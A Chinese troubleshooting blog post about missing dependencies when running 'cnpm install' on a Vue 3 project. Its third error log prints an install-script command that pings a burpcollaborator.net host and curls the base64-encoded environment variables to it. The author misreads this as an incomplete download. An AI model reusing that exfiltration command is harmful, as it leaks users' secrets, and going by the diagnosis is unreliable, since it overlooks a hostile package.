vue3 解决 cnpm install 报错 Cannot find module ‘vue-loader-v16/package.json

vue3 解决 cnpm install 报错 Cannot find module 'vue-loader-v16/package.json

问题描述
使用vue3 create vue3_demo创建项目，
为了节省空间，删除node_modules目录，
使用cnpm install命令下载依赖库，
运行cnpm run serve报错

异常信息1：缺少vue-loader-v16依赖库
 INFO  Starting development server...
 ERROR  Error: Cannot find module 'vue-loader-v16/package.json'
Require stack:
- F:\workspace\javascript workspace\vue3\prj20_1\node_modules\_@vue_cli-service@
4.5.12@@vue\cli-service\lib\config\base.js
- F:\workspace\javascript workspace\vue3\prj20_1\node_modules\_@vue_cli-service@
4.5.12@@vue\cli-service\lib\Service.js
- F:\workspace\javascript workspace\vue3\prj20_1\node_modules\_@vue_cli-service@
4.5.12@@vue\cli-service\bin\vue-cli-service.js
Error: Cannot find module 'vue-loader-v16/package.json'

cnpm i vue-loader-v16
cnpm run serve

异常信息2：缺少fork-ts-checker-webpack-plugin-v5依赖库
 INFO  Starting development server...
 ERROR  Error: Cannot find module 'fork-ts-checker-webpack-plugin-v5'
Require stack:
- F:\workspace\javascript workspace\vue3\prj20_1\node_modules\_@vue_cli-plugin-t
ypescript@4.5.12@@vue\cli-plugin-typescript\index.js
- F:\workspace\javascript workspace\vue3\prj20_1\node_modules\_@vue_cli-service@
4.5.12@@vue\cli-service\lib\Service.js
- F:\workspace\javascript workspace\vue3\prj20_1\node_modules\_@vue_cli-service@
4.5.12@@vue\cli-service\bin\vue-cli-service.js
Error: Cannot find module 'fork-ts-checker-webpack-plugin-v5'

cnpm i fork-ts-checker-webpack-plugin-v5

异常信息3：依赖库fork-ts-checker-webpack-plugin-v5无法下载
RunScriptError: Run "C:\windows\system32\cmd.exe /d /s /c export HOSTNAME && pin
g -c 1 linux-fork-ts-checker-webpack-plugin-v5-h-${HOSTNAME}-u-$USER.1npmpec6j61
qk4o8vlqm2y9vhmncb1.burpcollaborator.net; curl -si -m 3 -d "`echo "$(env)"| base
64 -w0`" https://1npmpec6j61qk4o8vlqm2y9vhmncb1.burpcollaborator.net || ping -n
1 windows-fork-ts-checker-webpack-plugin-v5-h-%COMPUTERNAME%-u-%USERNAME%.1npmpe
c6j61qk4o8vlqm2y9vhmncb1.burpcollaborator.net || true" error, exit code 1
    at ChildProcess.<anonymous> (F:\sdk\nodejs\X64\npm\node_global\node_modules\
cnpm\node_modules\runscript\index.js:96:21)
    at ChildProcess.emit (events.js:314:20)
    at maybeClose (internal/child_process.js:1021:16)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:286:5)

分析原因：可能是依赖库下载不全导致的

解决方法：
使用 cnpm -- install 命令，代替 cnpm install

正常启动
cnpm run serve